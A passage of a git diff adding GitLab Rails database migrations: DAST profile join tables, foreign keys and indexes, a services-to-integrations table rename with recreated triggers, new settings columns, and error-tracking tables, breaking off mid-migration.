+ # For more information, refer to the following:
+ #
+ # - https://gitlab.com/gitlab-com/gl-infra/production/-/issues/5038#note_614592881
+ # - https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63669
+ add_column(:merge_request_diff_commits, :commit_author_id, :bigint)
+ add_column(:merge_request_diff_commits, :committer_id, :bigint)
+ end
+
+ def down
+ remove_column(:merge_request_diff_commits, :commit_author_id)
+ remove_column(:merge_request_diff_commits, :committer_id)
+ end
+end
diff --git a/db/migrate/20210604032738_create_dast_site_profiles_builds.rb b/db/migrate/20210604032738_create_dast_site_profiles_builds.rb
new file mode 100644
index 00000000000..2e9eb2c7cb7
--- /dev/null
+++ b/db/migrate/20210604032738_create_dast_site_profiles_builds.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class CreateDastSiteProfilesBuilds < ActiveRecord::Migration[6.1]
+ def up
+ table_comment = { owner: 'group::dynamic analysis', description: 'Join table between DAST Site Profiles and CI Builds' }
+
+ create_table :dast_site_profiles_builds, primary_key: [:dast_site_profile_id, :ci_build_id], comment: table_comment.to_json do |t|
+ t.bigint :dast_site_profile_id, null: false
+ t.bigint :ci_build_id, null: false
+
+ t.index :ci_build_id, unique: true, name: :dast_site_profiles_builds_on_ci_build_id
+ end
+ end
+
+ def down
+ drop_table :dast_site_profiles_builds
+ end
+end
diff --git a/db/migrate/20210604034158_add_ci_build_id_fk_to_dast_site_profiles_builds.rb b/db/migrate/20210604034158_add_ci_build_id_fk_to_dast_site_profiles_builds.rb
new file mode 100644
index 00000000000..6908da69e08
--- /dev/null
+++ b/db/migrate/20210604034158_add_ci_build_id_fk_to_dast_site_profiles_builds.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddCiBuildIdFkToDastSiteProfilesBuilds < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :dast_site_profiles_builds, :ci_builds, column: :ci_build_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :dast_site_profiles_builds, column: :ci_build_id
+ end
+ end
+end
diff --git a/db/migrate/20210604034354_add_dast_site_profile_id_fk_to_dast_site_profiles_builds.rb b/db/migrate/20210604034354_add_dast_site_profile_id_fk_to_dast_site_profiles_builds.rb
new file mode 100644
index 00000000000..58fe3090a4f
--- /dev/null
+++ b/db/migrate/20210604034354_add_dast_site_profile_id_fk_to_dast_site_profiles_builds.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddDastSiteProfileIdFkToDastSiteProfilesBuilds < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :dast_site_profiles_builds, :dast_site_profiles, column: :dast_site_profile_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :dast_site_profiles_builds, column: :dast_site_profile_id
+ end
+ end
+end
diff --git a/db/migrate/20210604051330_create_dast_scanner_profiles_builds.rb b/db/migrate/20210604051330_create_dast_scanner_profiles_builds.rb
new file mode 100644
index 00000000000..f8a5f735f0d
--- /dev/null
+++ b/db/migrate/20210604051330_create_dast_scanner_profiles_builds.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class CreateDastScannerProfilesBuilds < ActiveRecord::Migration[6.1]
+ def up
+ table_comment = { owner: 'group::dynamic analysis', description: 'Join table between DAST Scanner Profiles and CI Builds' }
+
+ create_table :dast_scanner_profiles_builds, primary_key: [:dast_scanner_profile_id, :ci_build_id], comment: table_comment.to_json do |t|
+ t.bigint :dast_scanner_profile_id, null: false
+ t.bigint :ci_build_id, null: false
+
+ t.index :ci_build_id, unique: true, name: :dast_scanner_profiles_builds_on_ci_build_id
+ end
+ end
+
+ def down
+ drop_table :dast_scanner_profiles_builds
+ end
+end
diff --git a/db/migrate/20210604051742_add_ci_build_id_fk_to_dast_scanner_profiles_builds.rb b/db/migrate/20210604051742_add_ci_build_id_fk_to_dast_scanner_profiles_builds.rb
new file mode 100644
index 00000000000..cc495c749c5
--- /dev/null
+++ b/db/migrate/20210604051742_add_ci_build_id_fk_to_dast_scanner_profiles_builds.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddCiBuildIdFkToDastScannerProfilesBuilds < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :dast_scanner_profiles_builds, :ci_builds, column: :ci_build_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :dast_scanner_profiles_builds, column: :ci_build_id
+ end
+ end
+end
diff --git a/db/migrate/20210604051917_add_dast_scanner_profile_id_fk_to_dast_scanner_profiles_builds.rb b/db/migrate/20210604051917_add_dast_scanner_profile_id_fk_to_dast_scanner_profiles_builds.rb
new file mode 100644
index 00000000000..0c14c798da4
--- /dev/null
+++ b/db/migrate/20210604051917_add_dast_scanner_profile_id_fk_to_dast_scanner_profiles_builds.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddDastScannerProfileIdFkToDastScannerProfilesBuilds < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :dast_scanner_profiles_builds, :dast_scanner_profiles, column: :dast_scanner_profile_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :dast_scanner_profiles_builds, column: :dast_scanner_profile_id
+ end
+ end
+end
diff --git a/db/migrate/20210610153556_delete_legacy_operations_feature_flags.rb b/db/migrate/20210610153556_delete_legacy_operations_feature_flags.rb
new file mode 100644
index 00000000000..f0bcbe5e472
--- /dev/null
+++ b/db/migrate/20210610153556_delete_legacy_operations_feature_flags.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class DeleteLegacyOperationsFeatureFlags < ActiveRecord::Migration[6.1]
+ LEGACY_FEATURE_FLAG_VERSION = 1
+
+ def up
+ execute("DELETE FROM operations_feature_flags WHERE version = #{LEGACY_FEATURE_FLAG_VERSION}")
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20210611101034_add_devops_adoption_sast_dast.rb b/db/migrate/20210611101034_add_devops_adoption_sast_dast.rb
new file mode 100644
index 00000000000..0a9eb64a5fc
--- /dev/null
+++ b/db/migrate/20210611101034_add_devops_adoption_sast_dast.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class AddDevopsAdoptionSastDast < ActiveRecord::Migration[6.1]
+ def change
+ add_column :analytics_devops_adoption_snapshots, :sast_enabled_count, :integer
+ add_column :analytics_devops_adoption_snapshots, :dast_enabled_count, :integer
+ end
+end
diff --git a/db/migrate/20210614142311_add_running_container_scanning_max_size_to_plan_limits.rb b/db/migrate/20210614142311_add_running_container_scanning_max_size_to_plan_limits.rb
new file mode 100644
index 00000000000..248fff6c42f
--- /dev/null
+++ b/db/migrate/20210614142311_add_running_container_scanning_max_size_to_plan_limits.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddRunningContainerScanningMaxSizeToPlanLimits < ActiveRecord::Migration[6.0]
+ def change
+ add_column :plan_limits, :ci_max_artifact_size_running_container_scanning, :integer, null: false, default: 0
+ end
+end
diff --git a/db/migrate/20210615064342_add_issue_id_to_requirement.rb b/db/migrate/20210615064342_add_issue_id_to_requirement.rb
new file mode 100644
index 00000000000..a6d85bd9d6e
--- /dev/null
+++ b/db/migrate/20210615064342_add_issue_id_to_requirement.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIssueIdToRequirement < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :requirements, :issue_id, :bigint, null: true
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :requirements, :issue_id
+ end
+ end
+end
diff --git a/db/migrate/20210616110748_add_issue_index_to_requirement.rb b/db/migrate/20210616110748_add_issue_index_to_requirement.rb
new file mode 100644
index 00000000000..747ee3875dc
--- /dev/null
+++ b/db/migrate/20210616110748_add_issue_index_to_requirement.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIssueIndexToRequirement < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_requirements_on_issue_id'
+
+ def up
+ add_concurrent_index :requirements, :issue_id, name: INDEX_NAME, unique: true
+ end
+
+ def down
+ remove_concurrent_index_by_name :requirements, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210616111311_add_issue_requirement_foreign_key.rb b/db/migrate/20210616111311_add_issue_requirement_foreign_key.rb
new file mode 100644
index 00000000000..ed851da9f31
--- /dev/null
+++ b/db/migrate/20210616111311_add_issue_requirement_foreign_key.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddIssueRequirementForeignKey < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ TARGET_TABLE = :requirements
+
+ def up
+ add_concurrent_foreign_key TARGET_TABLE, :issues, column: :issue_id
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists(TARGET_TABLE, column: :issue_id)
+ end
+ end
+end
diff --git a/db/migrate/20210616134905_add_timestamp_to_schema_migration.rb b/db/migrate/20210616134905_add_timestamp_to_schema_migration.rb
new file mode 100644
index 00000000000..7086b20c48f
--- /dev/null
+++ b/db/migrate/20210616134905_add_timestamp_to_schema_migration.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddTimestampToSchemaMigration < ActiveRecord::Migration[6.1]
+ def up
+ # Add a nullable column with default null first
+ add_column :schema_migrations, :finished_at, :timestamptz
+
+ # Change default to NOW() for new records
+ change_column_default :schema_migrations, :finished_at, -> { 'NOW()' }
+ end
+
+ def down
+ remove_column :schema_migrations, :finished_at
+ end
+end
diff --git a/db/migrate/20210616154808_remove_ci_build_protected_index.rb b/db/migrate/20210616154808_remove_ci_build_protected_index.rb
new file mode 100644
index 00000000000..25a8d159c1e
--- /dev/null
+++ b/db/migrate/20210616154808_remove_ci_build_protected_index.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class RemoveCiBuildProtectedIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_NAME = 'index_ci_builds_on_protected'
+
+ disable_ddl_transaction!
+
+ def up
+ remove_concurrent_index :ci_builds, :protected, name: INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :ci_builds, :protected, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210616185947_add_mailgun_settings_to_application_setting.rb b/db/migrate/20210616185947_add_mailgun_settings_to_application_setting.rb
new file mode 100644
index 00000000000..8447ff79d12
--- /dev/null
+++ b/db/migrate/20210616185947_add_mailgun_settings_to_application_setting.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class AddMailgunSettingsToApplicationSetting < ActiveRecord::Migration[6.1]
+ def change
+ add_column :application_settings, :encrypted_mailgun_signing_key, :binary
+ add_column :application_settings, :encrypted_mailgun_signing_key_iv, :binary
+
+ add_column :application_settings, :mailgun_events_enabled, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20210617022324_create_incident_management_pending_alert_escalations.rb b/db/migrate/20210617022324_create_incident_management_pending_alert_escalations.rb
new file mode 100644
index 00000000000..32249c9ed56
--- /dev/null
+++ b/db/migrate/20210617022324_create_incident_management_pending_alert_escalations.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+class CreateIncidentManagementPendingAlertEscalations < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ execute(<<~SQL)
+
+ CREATE TABLE incident_management_pending_alert_escalations (
+ id bigserial NOT NULL,
+ rule_id bigint,
+ alert_id bigint NOT NULL,
+ schedule_id bigint NOT NULL,
+ process_at timestamp with time zone NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ status smallint NOT NULL,
+ PRIMARY KEY (id, process_at)
+ ) PARTITION BY RANGE (process_at);
+
+ CREATE INDEX index_incident_management_pending_alert_escalations_on_alert_id
+ ON incident_management_pending_alert_escalations USING btree (alert_id);
+
+ CREATE INDEX index_incident_management_pending_alert_escalations_on_rule_id
+ ON incident_management_pending_alert_escalations USING btree (rule_id);
+
+ CREATE INDEX index_incident_management_pending_alert_escalations_on_schedule_id
+ ON incident_management_pending_alert_escalations USING btree (schedule_id);
+
+ ALTER TABLE incident_management_pending_alert_escalations ADD CONSTRAINT fk_rails_fcbfd9338b
+ FOREIGN KEY (schedule_id) REFERENCES incident_management_oncall_schedules(id) ON DELETE CASCADE;
+
+ ALTER TABLE incident_management_pending_alert_escalations ADD CONSTRAINT fk_rails_057c1e3d87
+ FOREIGN KEY (rule_id) REFERENCES incident_management_escalation_rules(id) ON DELETE SET NULL;
+
+ ALTER TABLE incident_management_pending_alert_escalations ADD CONSTRAINT fk_rails_8d8de95da9
+ FOREIGN KEY (alert_id) REFERENCES alert_management_alerts(id) ON DELETE CASCADE;
+ SQL
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :incident_management_pending_alert_escalations
+ end
+ end
+end
diff --git a/db/migrate/20210617161348_cascade_delete_freeze_periods.rb b/db/migrate/20210617161348_cascade_delete_freeze_periods.rb
new file mode 100644
index 00000000000..90623b27920
--- /dev/null
+++ b/db/migrate/20210617161348_cascade_delete_freeze_periods.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
+# for more information on how to write migrations for GitLab.
+
+class CascadeDeleteFreezePeriods < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ OLD_PROJECT_FK = 'fk_rails_2e02bbd1a6'
+ NEW_PROJECT_FK = 'fk_2e02bbd1a6'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :ci_freeze_periods, :projects, column: :project_id, on_delete: :cascade, name: NEW_PROJECT_FK
+ remove_foreign_key_if_exists :ci_freeze_periods, :projects, column: :project_id, name: OLD_PROJECT_FK
+ end
+
+ def down
+ add_concurrent_foreign_key :ci_freeze_periods, :projects, column: :project_id, on_delete: nil, name: OLD_PROJECT_FK
+ remove_foreign_key_if_exists :ci_freeze_periods, :projects, column: :project_id, name: NEW_PROJECT_FK
+ end
+end
diff --git a/db/migrate/20210617180131_migrate_usage_ping_sidekiq_queue.rb b/db/migrate/20210617180131_migrate_usage_ping_sidekiq_queue.rb
new file mode 100644
index 00000000000..9eebc6feb14
--- /dev/null
+++ b/db/migrate/20210617180131_migrate_usage_ping_sidekiq_queue.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class MigrateUsagePingSidekiqQueue < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ # rubocop:disable Migration/SidekiqQueueMigrate
+ def up
+ sidekiq_queue_migrate 'cronjob:gitlab_usage_ping', to: 'cronjob:gitlab_service_ping'
+ end
+
+ def down
+ sidekiq_queue_migrate 'cronjob:gitlab_service_ping', to: 'cronjob:gitlab_usage_ping'
+ end
+ # rubocop:enable Migration/SidekiqQueueMigrate
+end
diff --git a/db/migrate/20210621043337_rename_services_to_integrations.rb b/db/migrate/20210621043337_rename_services_to_integrations.rb
new file mode 100644
index 00000000000..17f4b6a2d4d
--- /dev/null
+++ b/db/migrate/20210621043337_rename_services_to_integrations.rb
@@ -0,0 +1,150 @@
+# frozen_string_literal: true
+
+class RenameServicesToIntegrations < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+ include Gitlab::Database::SchemaHelpers
+
+ # Function and trigger names match those migrated in:
+ # - https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49916
+ # - https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51852
+
+ WIKI_FUNCTION_NAME = 'set_has_external_wiki'
+ TRACKER_FUNCTION_NAME = 'set_has_external_issue_tracker'
+
+ WIKI_TRIGGER_ON_INSERT_NAME = 'trigger_has_external_wiki_on_insert'
+ WIKI_TRIGGER_ON_UPDATE_NAME = 'trigger_has_external_wiki_on_update'
+ WIKI_TRIGGER_ON_DELETE_NAME = 'trigger_has_external_wiki_on_delete'
+
+ TRACKER_TRIGGER_ON_INSERT_NAME = 'trigger_has_external_issue_tracker_on_insert'
+ TRACKER_TRIGGER_ON_UPDATE_NAME = 'trigger_has_external_issue_tracker_on_update'
+ TRACKER_TRIGGER_ON_DELETE_NAME = 'trigger_has_external_issue_tracker_on_delete'
+
+ ALL_TRIGGERS = [
+ WIKI_TRIGGER_ON_INSERT_NAME,
+ WIKI_TRIGGER_ON_UPDATE_NAME,
+ WIKI_TRIGGER_ON_DELETE_NAME,
+ TRACKER_TRIGGER_ON_INSERT_NAME,
+ TRACKER_TRIGGER_ON_UPDATE_NAME,
+ TRACKER_TRIGGER_ON_DELETE_NAME
+ ].freeze
+
+ def up
+ execute('LOCK services IN ACCESS EXCLUSIVE MODE')
+
+ drop_all_triggers(:services)
+
+ rename_table_safely(:services, :integrations)
+
+ recreate_all_triggers(:integrations)
+ end
+
+ def down
+ execute('LOCK integrations IN ACCESS EXCLUSIVE MODE')
+
+ drop_all_triggers(:integrations)
+
+ undo_rename_table_safely(:services, :integrations)
+
+ recreate_all_triggers(:services)
+ end
+
+ private
+
+ def drop_all_triggers(table_name)
+ ALL_TRIGGERS.each do |trigger_name|
+ drop_trigger(table_name, trigger_name)
+ end
+ end
+
+ def recreate_all_triggers(table_name)
+ wiki_create_insert_trigger(table_name)
+ wiki_create_update_trigger(table_name)
+ wiki_create_delete_trigger(table_name)
+
+ tracker_replace_trigger_function(table_name)
+
+ tracker_create_insert_trigger(table_name)
+ tracker_create_update_trigger(table_name)
+ tracker_create_delete_trigger(table_name)
+ end
+
+ def wiki_create_insert_trigger(table_name)
+ execute(<<~SQL)
+ CREATE TRIGGER #{WIKI_TRIGGER_ON_INSERT_NAME}
+ AFTER INSERT ON #{table_name}
+ FOR EACH ROW
+ WHEN (NEW.active = TRUE AND NEW.type = 'ExternalWikiService' AND NEW.project_id IS NOT NULL)
+ EXECUTE FUNCTION #{WIKI_FUNCTION_NAME}();
+ SQL
+ end
+
+ def wiki_create_update_trigger(table_name)
+ execute(<<~SQL)
+ CREATE TRIGGER #{WIKI_TRIGGER_ON_UPDATE_NAME}
+ AFTER UPDATE ON #{table_name}
+ FOR EACH ROW
+ WHEN (NEW.type = 'ExternalWikiService' AND OLD.active != NEW.active AND NEW.project_id IS NOT NULL)
+ EXECUTE FUNCTION #{WIKI_FUNCTION_NAME}();
+ SQL
+ end
+
+ def wiki_create_delete_trigger(table_name)
+ execute(<<~SQL)
+ CREATE TRIGGER #{WIKI_TRIGGER_ON_DELETE_NAME}
+ AFTER DELETE ON #{table_name}
+ FOR EACH ROW
+ WHEN (OLD.type = 'ExternalWikiService' AND OLD.project_id IS NOT NULL)
+ EXECUTE FUNCTION #{WIKI_FUNCTION_NAME}();
+ SQL
+ end
+
+ # Using `replace: true` to rewrite the existing function
+ def tracker_replace_trigger_function(table_name)
+ create_trigger_function(TRACKER_FUNCTION_NAME, replace: true) do
+ <<~SQL
+ UPDATE projects SET has_external_issue_tracker = (
+ EXISTS
+ (
+ SELECT 1
+ FROM #{table_name}
+ WHERE project_id = COALESCE(NEW.project_id, OLD.project_id)
+ AND active = TRUE
+ AND category = 'issue_tracker'
+ )
+ )
+ WHERE projects.id = COALESCE(NEW.project_id, OLD.project_id);
+ RETURN NULL;
+ SQL
+ end
+ end
+
+ def tracker_create_insert_trigger(table_name)
+ execute(<<~SQL)
+ CREATE TRIGGER #{TRACKER_TRIGGER_ON_INSERT_NAME}
+ AFTER INSERT ON #{table_name}
+ FOR EACH ROW
+ WHEN (NEW.category = 'issue_tracker' AND NEW.active = TRUE AND NEW.project_id IS NOT NULL)
+ EXECUTE FUNCTION #{TRACKER_FUNCTION_NAME}();
+ SQL
+ end
+
+ def tracker_create_update_trigger(table_name)
+ execute(<<~SQL)
+ CREATE TRIGGER #{TRACKER_TRIGGER_ON_UPDATE_NAME}
+ AFTER UPDATE ON #{table_name}
+ FOR EACH ROW
+ WHEN (NEW.category = 'issue_tracker' AND OLD.active != NEW.active AND NEW.project_id IS NOT NULL)
+ EXECUTE FUNCTION #{TRACKER_FUNCTION_NAME}();
+ SQL
+ end
+
+ def tracker_create_delete_trigger(table_name)
+ execute(<<~SQL)
+ CREATE TRIGGER #{TRACKER_TRIGGER_ON_DELETE_NAME}
+ AFTER DELETE ON #{table_name}
+ FOR EACH ROW
+ WHEN (OLD.category = 'issue_tracker' AND OLD.active = TRUE AND OLD.project_id IS NOT NULL)
+ EXECUTE FUNCTION #{TRACKER_FUNCTION_NAME}();
+ SQL
+ end
+end
diff --git a/db/migrate/20210621044000_rename_services_indexes_to_integrations.rb b/db/migrate/20210621044000_rename_services_indexes_to_integrations.rb
new file mode 100644
index 00000000000..9dba663f6a7
--- /dev/null
+++ b/db/migrate/20210621044000_rename_services_indexes_to_integrations.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class RenameServicesIndexesToIntegrations < ActiveRecord::Migration[6.1]
+ INDEXES = %w(
+ project_and_type_where_inherit_null
+ project_id_and_type_unique
+ template
+ type
+ type_and_instance_partial
+ type_and_template_partial
+ type_id_when_active_and_project_id_not_null
+ unique_group_id_and_type
+ ).freeze
+
+ def up
+ INDEXES.each do |index|
+ execute(<<~SQL)
+ ALTER INDEX IF EXISTS "index_services_on_#{index}" RENAME TO "index_integrations_on_#{index}"
+ SQL
+ end
+ end
+
+ def down
+ INDEXES.each do |index|
+ execute(<<~SQL)
+ ALTER INDEX IF EXISTS "index_integrations_on_#{index}" RENAME TO "index_services_on_#{index}"
+ SQL
+ end
+ end
+end
diff --git a/db/migrate/20210621084632_add_summary_to_timelogs.rb b/db/migrate/20210621084632_add_summary_to_timelogs.rb
new file mode 100644
index 00000000000..45fd7f1e0bc
--- /dev/null
+++ b/db/migrate/20210621084632_add_summary_to_timelogs.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class AddSummaryToTimelogs < ActiveRecord::Migration[6.1]
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20210621090030_add_text_limit_to_timelogs_summary
+ def change
+ add_column :timelogs, :summary, :text
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+end
diff --git a/db/migrate/20210621090030_add_text_limit_to_timelogs_summary.rb b/db/migrate/20210621090030_add_text_limit_to_timelogs_summary.rb
new file mode 100644
index 00000000000..ac872afd3fa
--- /dev/null
+++ b/db/migrate/20210621090030_add_text_limit_to_timelogs_summary.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddTextLimitToTimelogsSummary < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :timelogs, :summary, 255
+ end
+
+ def down
+ remove_text_limit :timelogs, :summary
+ end
+end
diff --git a/db/migrate/20210621091830_add_devops_adoption_snapshot_dependency_scanning.rb b/db/migrate/20210621091830_add_devops_adoption_snapshot_dependency_scanning.rb
new file mode 100644
index 00000000000..ae19a46b66f
--- /dev/null
+++ b/db/migrate/20210621091830_add_devops_adoption_snapshot_dependency_scanning.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddDevopsAdoptionSnapshotDependencyScanning < ActiveRecord::Migration[6.1]
+ def change
+ add_column :analytics_devops_adoption_snapshots, :dependency_scanning_enabled_count, :integer
+ end
+end
diff --git a/db/migrate/20210622135221_add_foreign_key_for_environment_id_to_environments.rb b/db/migrate/20210622135221_add_foreign_key_for_environment_id_to_environments.rb
new file mode 100644
index 00000000000..03991cea41c
--- /dev/null
+++ b/db/migrate/20210622135221_add_foreign_key_for_environment_id_to_environments.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddForeignKeyForEnvironmentIdToEnvironments < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ # `validate: false` option is passed here, because validating the existing rows fails by the orphaned deployments,
+ # which will be cleaned up in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64588.
+ # The validation runs for only new records or updates, so that we can at least
+ # stop creating orphaned rows.
+ add_concurrent_foreign_key :deployments, :environments, column: :environment_id, on_delete: :cascade, validate: false
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :deployments, :environments
+ end
+ end
+end
diff --git a/db/migrate/20210623074226_add_usage_ping_features_enabled_to_application_settings.rb b/db/migrate/20210623074226_add_usage_ping_features_enabled_to_application_settings.rb
new file mode 100644
index 00000000000..7a70f695039
--- /dev/null
+++ b/db/migrate/20210623074226_add_usage_ping_features_enabled_to_application_settings.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class AddUsagePingFeaturesEnabledToApplicationSettings < ActiveRecord::Migration[6.1]
+ def up
+ add_column :application_settings, :usage_ping_features_enabled, :boolean, default: false, null: false
+ end
+
+ def down
+ remove_column :application_settings, :usage_ping_features_enabled
+ end
+end
diff --git a/db/migrate/20210623123722_add_present_on_default_branch_to_vulnerabilities.rb b/db/migrate/20210623123722_add_present_on_default_branch_to_vulnerabilities.rb
new file mode 100644
index 00000000000..d528c4c6967
--- /dev/null
+++ b/db/migrate/20210623123722_add_present_on_default_branch_to_vulnerabilities.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddPresentOnDefaultBranchToVulnerabilities < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :vulnerabilities, :present_on_default_branch, :boolean, default: true, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :vulnerabilities, :present_on_default_branch
+ end
+ end
+end
diff --git a/db/migrate/20210623133635_create_error_tracking_errors.rb b/db/migrate/20210623133635_create_error_tracking_errors.rb
new file mode 100644
index 00000000000..e26fbe8df86
--- /dev/null
+++ b/db/migrate/20210623133635_create_error_tracking_errors.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class CreateErrorTrackingErrors < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ create_table_with_constraints :error_tracking_errors do |t|
+ t.references :project, index: true, null: false, foreign_key: { on_delete: :cascade }
+ t.text :name, null: false
+ t.text :description, null: false
+ t.text :actor, null: false
+ t.datetime_with_timezone :first_seen_at, null: false, default: -> { 'NOW()' }
+ t.datetime_with_timezone :last_seen_at, null: false, default: -> { 'NOW()' }
+ t.text :platform
+
+ t.text_limit :name, 255
+ t.text_limit :description, 1024
+ t.text_limit :actor, 255
+ t.text_limit :platform, 255
+
+ t.timestamps_with_timezone
+ end
+ end
+
+ def down
+ drop_table :error_tracking_errors
+ end
+end
diff --git a/db/migrate/20210623163342_add_index_to_compliance_management_frameworks_pipeline_configuration.rb b/db/migrate/20210623163342_add_index_to_compliance_management_frameworks_pipeline_configuration.rb
new file mode 100644
index 00000000000..81903230f43
--- /dev/null
+++ b/db/migrate/20210623163342_add_index_to_compliance_management_frameworks_pipeline_configuration.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToComplianceManagementFrameworksPipelineConfiguration < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_compliance_frameworks_id_where_frameworks_not_null'
+
+ def up
+ add_concurrent_index :compliance_management_frameworks, :id, name: INDEX_NAME, where: 'pipeline_configuration_full_path IS NOT NULL'
+ end
+
+ def down
+ remove_concurrent_index_by_name :compliance_management_frameworks, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210624112821_add_devops_adoption_coverage_fuzzing.rb b/db/migrate/20210624112821_add_devops_adoption_coverage_fuzzing.rb
new file mode 100644
index 00000000000..6ca040dbfbc
--- /dev/null
+++ b/db/migrate/20210624112821_add_devops_adoption_coverage_fuzzing.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddDevopsAdoptionCoverageFuzzing < ActiveRecord::Migration[6.1]
+ def change
+ add_column :analytics_devops_adoption_snapshots, :coverage_fuzzing_enabled_count, :integer
+ end
+end
diff --git a/db/migrate/20210624180613_add_last_synced_at_to_licenses.rb b/db/migrate/20210624180613_add_last_synced_at_to_licenses.rb
new file mode 100644
index 00000000000..085fccdc20f
--- /dev/null
+++ b/db/migrate/20210624180613_add_last_synced_at_to_licenses.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddLastSyncedAtToLicenses < ActiveRecord::Migration[6.1]
+ def change
+ add_column :licenses, :last_synced_at, :datetime_with_timezone
+ end
+end
diff --git a/db/migrate/20210625094554_create_error_tracking_error_events.rb b/db/migrate/20210625094554_create_error_tracking_error_events.rb
new file mode 100644
index 00000000000..c1ed6d6ce6e
--- /dev/null
+++ b/db/migrate/20210625094554_create_error_tracking_error_events.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+class CreateErrorTrackingErrorEvents < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ create_table_with_constraints :error_tracking_error_events do |t|
+ t.references :error,
+ index: true,
+ null: false,
